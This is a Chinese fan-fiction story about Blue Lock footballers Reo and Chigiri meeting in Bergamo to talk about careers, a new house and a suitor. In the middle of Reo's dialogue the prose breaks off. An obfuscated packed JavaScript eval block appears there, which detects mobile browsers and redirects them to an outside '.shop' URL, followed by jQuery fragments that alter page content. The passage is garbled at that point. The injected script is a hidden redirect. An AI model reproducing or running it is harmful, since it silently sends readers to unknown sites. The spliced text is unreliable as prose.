许多问题不急着给出答案。


    春季降临，御影玲王在赛程松动的间隙飞往意大利。飞机穿过阿尔卑斯山脊时，山脉背阴处未化的雪像时间留下的盐粒。此行的名义是拍摄新接的广告，但他心里清楚镜头只是过场，拍摄结束后他要去探望一位老朋友。单单只是想到这一点就令他的嘴角泛起微笑。


    摄影师对他竖大拇指：“很自然！就这样笑。”


    摄影棚设在米兰一座十七世纪建筑改造的工作室，窗外就是修道院回廊的拱券剪影。此刻，灯光师反复调整柔光箱的角度，试图在玲王脸上制造出地中海春日的质感。


    御影玲王神游天外。


    一年前，凪诚士郎凭借天才般的适应性稳坐曼城一线队时，千切豹马又在卫星队度过了大半个赛季的拉锯，球队认为小伤不断的他始终留有隐患。况且亚洲球员在身体对抗方面本不占优，在同样的位置上明明有更合适的选择，为什么不用呢？因此有意将他出售。


    “你是件精美的武器，不应该出现在铁匠铺。”那时候玲王在电话里安慰他。


    “得了吧，那凪呢？”


    “他是个大铁锤。”


    万幸千切本人对此却没有什么好遗憾的，他原本就不喜欢曼彻斯特的天气，更不喜欢自己被当作工兵使用——在国家队被绘心甚八蹉跎还不够吗？他也同样觉得自己不能适应英超的强度，他细腻的脚下技术和引以为豪的速度应该去其他联赛试试。


    所以当亚特兰大伸出橄榄枝时，千切几乎立刻抓住了它。这支被称作“女神”的俱乐部由科兰托诺执掌教鞭，主打4-4-1-1实用阵型征战意甲，边路突击与前场联动是球队进攻的核心。


    球队的边前卫需兼备边路爆破与传中组织的能力，那正是千切需要的舞台。


    英超的对抗强度之大和赛程之密在过去半年里同样令他苦不堪言，他真心乐于看到好友能换种方式沐浴足球的美。


    精致美好的东西应该被放在天鹅绒上。玲王一直这么认为。真高兴这世上不止他自己这样想。


    拍摄在午后三点结束。玲王婉拒了品牌方的晚宴邀请，动身前往贝加莫。窗外伦巴第平原的农田如此整齐，山的轮廓也在薄雾中软化，偶尔闪过的小镇有着陶土色的屋顶和安静的钟楼。


    这与英格兰的春天截然不同，他哼着歌，就好像自己的磨损也跟着减轻。


    贝加莫老城的石板路被午后的阳光晒得发烫，千切豹马独自坐在广场旁咖啡厅的玻璃窗下，他正低头刷着手机，百无聊赖。忽然觉得有人绕到他身后，他皱着眉把包放在身体内侧，俨然一副不想遭贼的样子。


    “亲爱的，你的红发真漂亮。你是在等谁吗？”


    那人讲着意大利语，此刻把手搭在他肩膀上，言语颇轻佻。千切头也懒得抬，敷衍地回应：“我是男人。”


    这样的误会从他来意甲踢球以来已经发生过太多次，因为他纤长的身形或是因为那头明艳的红色长发，经常让他陷入这种尴尬的境地。千切豹马早就习惯了，遇上没有边界感的追求者挥挥手甩开便是。


    “男人也没关系啊。”那声音带着笑意继续靠近，“陪我一天，我给你三十万。”


    这次千切皱起了眉。他重重地放下手机，正准备用这几个月在更衣室学到的不那么文雅的词回敬——却在转头时愣住了。


    御影玲王正站在咖啡厅的遮阳棚下，穿着浅亚麻色的亚麻衬衫和白色修身长裤，袖子随意挽到小臂中间。


    千切盯着他看了两秒，突然大笑起来。笑声清亮得像广场喷泉溅起的水珠，引得邻桌的鸽子扑棱棱飞起。


    他们不久前才刚在国家队见过，只不过集训时全穿着训练服，又因为密集的高压赛程而满面愁容。而现在玲王此刻就这样站在意大利春日的慵懒光晕中，颈上的银色细链在棚沿漏下的光斑里偶尔闪烁，让人移不开眼。


    “喂——”千切瞬间从椅子上弹起来，一把揪住玲王的衬衫领口，“你这家伙迟到了十分钟还有心思跑来我面前装恶少？”


    他扯着玲王的领子，硬是把对方拽得倒进自己身下这只藤编椅子上，同好友不轻不重地厮打了一番，去讨要自己那三十万欧元。可怜的椅子承受不住两个人的重量，发出吱呀的声响。


    服务生端着一小桶冰块从吧台后探身，眉头微皱想要上前劝阻，却被店主微笑着抬手拦住了。店主靠在收银台边给自己倒了一小杯格拉巴酒，隔着玻璃愉悦地观赏起了见过无数次的街景——还有什么比在美丽的午后看一对美丽的人打架更有趣的呢？


    离开时，玲王举着店主送的地图在阳光下看了又看。千切却拉着他拐进了一条窄得几乎只能容一人通过的小巷。石板路被岁月磨得中间凹陷两侧隆起，缝隙里钻出绒绒的青苔。


    “那今天全都交给你支配了，大小姐。”玲王嘟囔，“拜托你千万别带我去任何和足球有关的地方就好了……我是实在想给自己放个假的。”


    “嘿，没有足球。我又不是洁世一。”千切一边说着，一边侧身让一位提着菜篮的本地居民通过，“至少在回英国前给你找点乐子吧？”


    巷子时宽时窄，偶尔豁然开朗，出现一个小小的庭院或是荒废的喷泉池。晾衣绳横跨在两侧窗台之间，挂着洗褪色的床单和儿童衣物，在微风里像缓慢飘动的帆。


    玲王还沉浸在对美的欣赏里，下一秒就被街角小店橱窗里的一条半身裙给吓得连连后退：“那是什么东西啊？！”


    千切闻言抬起头。那是一家看起来快要倒闭的复古服装店，橱窗玻璃蒙着薄灰，里面的人形模特穿着过时的西装，假发歪斜。但在橱窗角落有样东西在透过旧窗格的斜阳里闪着诡异的光。


    一条饱和度极高的电光绿色半身裙，上面印着荧光粉的夸张棕榈树图案，每棵棕榈树顶端还顶着颗亮黄色的星星。裙摆是不对称设计，一侧短到大腿中部，另一侧却拖到脚踝，边缘还缀着一圈晃来晃去的彩色流苏。


    “我的天。”千切喃喃道。


    “我要买下它！”玲王攥拳。


    “你疯了……算了倒不如说你在收藏领域的眼光从来就没有正常过。千万别告诉我你要买回来自己穿，求你了。”


    “不，我要送给我的队友。”玲王微微一笑。


    “你在阿森纳又和人结仇了？我以为离开荷甲后你的人际关系会稍微好那么一点呢。”


    “完全不是那样！我只是觉得这裙子很适合贝莱林。”玲王为自己辩解，“他的祖父母就是服装设计师，母亲同样活跃在时装领域。这家伙从小就有独特的审美，想不到比他更适合这条裙子的人了。而且他完全可以在裙子下面搭配一条牛仔裤嘛。”


    千切豹马眼看着好友买下那件灾难，无力阻止，他好像从来都无力阻止这个固执的家伙。


    “走吧，拎好你的丑东西不要拿出来。”千切说，“接下来带你去看看我新买下的地方。”


    两人走了约莫二十分钟，一路说笑着，竟然已经起了薄汗。千切推开一扇不起眼的木门，玲王愣了一下：眼前是一个被古老石墙环绕的庭院，大约三十平米中央有棵高大的柠檬树，枝头挂满青黄相间的果实，空气里飘着柑橘类植物的清苦香气。


    最妙的是院子的格局。左侧是带拱廊的两层小楼，墙面刷成温柔的陶土色，右侧则是个开放式的小厨房，只有屋顶和石砌的操作台。


    “你什么时候买的？从来都没有听你说起过。”玲王左右环顾。


    “上星期。”千切关上门，走到柠檬树下抬手碰了碰最低的枝桠，“房东是个退休的歌剧演员，急着搬去佛罗伦萨和女儿住。她当时说这院子需要年轻人，现在看来我倒是对这里疏于打理，只有在清闲的时候才过来小住。”


    玲王在石板地上走了几步。阳光透过柠檬树叶洒下斑驳的光影，一只虎斑猫从二楼窗户探出头，好奇地打量着新访客。


    “楼上是什么？”


    “卧室和小书房。”千切领他穿过拱廊，木楼梯在脚下发出好听的吱呀声，“小心头——”


    二楼的空间比想象中窄小。斜屋顶下，一张简单的铁架床靠墙摆放。对面是整面墙的书架，大部分还空着，只有最下面几层散落着足球杂志，旁边是几本意大利语教材和一摞漫画。


    “又在学新外语了？”玲王挑挑眉。


    “没办法，走到哪里都要学新东西。”千切叹息，“做不到像你一样潇洒喽，变色龙。”


    御影玲王却少有地沉默了，随手推开那摞书，毫无形象地直接坐在地板上。见到好友这副样子，千切豹马干脆地坐在他对面，窄小的过道容纳两个大男人绝非易事，他们被迫膝盖相抵，这样反而更坦诚。


    “好了，现在该说说你最近遇到什么麻烦了吧？从刚才开始就一直欲言又止的。”


    玲王的发梢在午后的斜照里泛着微光，几缕不听话的发丝垂在额前，随着窗边的微风轻轻晃动。千切此刻见了反而心烦，伸出手替好友把那缕头发别在耳后。这样好多了。


    “我好像没有模仿其他人的能力了。”玲王坦诚相告，“上个月我的主教练问过我这件事，问我是否想和他聊聊，我恳请他再给我些时间——只是在拖延啦。直到现在我还是不能把这个技能重新捡回来，像从前那样拷贝别人。哪怕看再多次录像也不行了。”


    “你自己知道原因吗？”


    “我是知道的。从前在蓝色监狱时只想着证明自己，只想着在有限的时间里把个人能力完全展示出来，因此有合适的时机就会不自觉地模仿其他人，试图改变局势。但是被租借的那两年里我意识到，人是为体系服务的，我不想太突兀太出格，因为我知道自己的战术作用是梳理节奏——我不能主动去当那个破坏节奏的人吧？”


    “如今更是如此。对于我的球队而言每一个三分都无比重要，我们就像在悬崖上走钢索，不容


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087128|191326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有失。我不想再给赛场增加更多的不确定性了。教练在赛前的安排是什么我就会照做，突然临时起意去模仿哪个人的哪一球，对于队友而言也是一种负担。”


    “从逻辑上说不通啊？”千切摇头，“你又不是一定要在紧要关头复刻，复刻又不是一定会带来不好的结果。”


    “我明白这个道理，我也一直在这样劝自己。但是越谨慎就会越丧失创造力。我在想是不是英超带来的压力太大让我太精神紧绷了，还是这几年来一直在给自己错误的心理暗示，让自己从心底里觉得变化是危险的行为。”


    “关于拷贝，我在日常训练中还是可以运用自如的，到了真正比赛时却又做不到。你知道的，局势瞬息万变，在我犹犹豫豫不知道是否应该模仿又应该模仿谁的时候，机会已经从脚边溜走啦。”


    “本质是不够利己造成的结果。”千切犀利地指出了玲王自己都不愿意承认的地方，“我不能，温格也不能治好你。去和绘心甚八话疗吧，他是全世界最擅长治这种病的人了。去告诉那家伙你的变色龙伙伴现在一动不动，只会站在肩膀上吐舌头傻笑了——你怎么净交些个迟钝的朋友。”


    “别挖苦我了，大小姐！”


    千切推着他往楼梯口走：“快快，换种心情。”他们下楼，在露天厨房的小木桌旁坐下。千切从冰箱里拿出冰镇的柠檬水，用院子里柠檬树的果实自制的那种。玻璃杯外壁很快凝出水珠。


    “所以你做好在意大利长期作战的准备了？”玲王抿了口柠檬水，酸得他眯起眼，“有了这个安乐窝只怕是更不想离开了……”


    他话音未落，传来轻轻的敲门声。


    两人对视一眼。千切起身开门，玲王跟在后面。门外站着一位银发梳成整齐发髻的老妇人，大概七十岁左右，穿着熨烫妥帖的印花连衣裙，手里捧着一小束刚从花园剪下的粉玫瑰。


    “下午好，我的小精灵。”我听见笑声就知道你又回来了。”她微笑着对千切说，视线又转向玲王，惊喜地微微睁大眼睛，“天啊！这位一定是你的男朋友了，对吧？”


    空气凝固了一秒。


    千切张了张嘴，但老人已经热情地把花束塞进玲王手里，语速飞快地继续说：“我是隔壁的埃莱娜。欢迎来到这个街区！你们真是漂亮的一对——哦，看看这孩子头发的颜色就像鸢尾花。”


    “夫人，我们不是……他和我一样是足球运动员。”千切捂脸，他就知道会变成这个样子！


    但埃莱娜夫人只是拍拍千切的手背：“当然，当然！足球是嘛，我知道，之前那个常常叫人带着礼物和信件来的浪漫的家伙一定就是他了。”


    “不是我。”玲王转头看向千切，促狭地笑起来，“在今天之前，我都不知道他在这里还有一个家呢。千切——”他故意拖长声音，“你的哪个男朋友？”


    “天啊！”老太太脸色大变，找补说自己一定是老糊涂了搞错了，请当作什么都没听到吧！最后她留下那束玫瑰和一句“明天我烤饼干送过来”，便飞也似的告辞了。


    门关上后，庭院陷入诡异的安静。玲王低头看着手里的粉玫瑰。花瓣上还带着水珠，在阳光下晶莹剔透。


    “抱歉。”千切终于说，声音干巴巴的，“埃莱娜夫人她有点浪漫主义。”


    玲王笑得肩膀都在抖。


    “你还笑！”千切踢了下他的小腿，“恐怕明天整条街都会知道我有许多恋人了。”


    “所以快点向我坦白吧！礼物和信是谁送的。”


    “好吧，最近有人在追求我。”千切耸肩。


    “没有我有钱的话可不能答应哦。”


    “我想……有的。”


    “什么？！”这下御影玲王坐不住了，摇晃好友的肩膀叫他细细讲来，“真的假的？你们在哪里认识的？”


    “噢，也不能这么说。”千切露出一个微妙的微笑，“只是一个落寞的意甲老牌球队的俱乐部幕后老板。他对足球没什么兴趣，俱乐部只不过是他祖父留下的遗产，如今运营得越来越糟糕……他试图说服我下个赛季转会去他的球队，为此大费周章。”


    “但是你刚才用了追求这个词。”玲王抱着双臂嘟囔，“太夸张了！可怕的意大利人把你的母语习惯都给改变了。这地方连犯规都像在调情。”


    “哈？”


    “所以你会去吗？”玲王观察他的反应，“你才二十一岁，许多球队想要得到你，去保级队是职业生涯中后期才会考虑的事情吧？”


    千切没有立刻回答。他看向院子里的柠檬树，看向那些青黄相间的果实，看向被夕阳拉长的影子。风穿过枝叶，发出沙沙的轻响。


    噢。玲王想。原来每个人都有必须要面对的课题，它们形状各异。就像千切不能阻止玲王买下那件夸张的半身裙一样，玲王同样无法干涉好友的决定。但他们仍然会对彼此说：“那好吧！有需要我的时候，任何时候，一定要和我说。”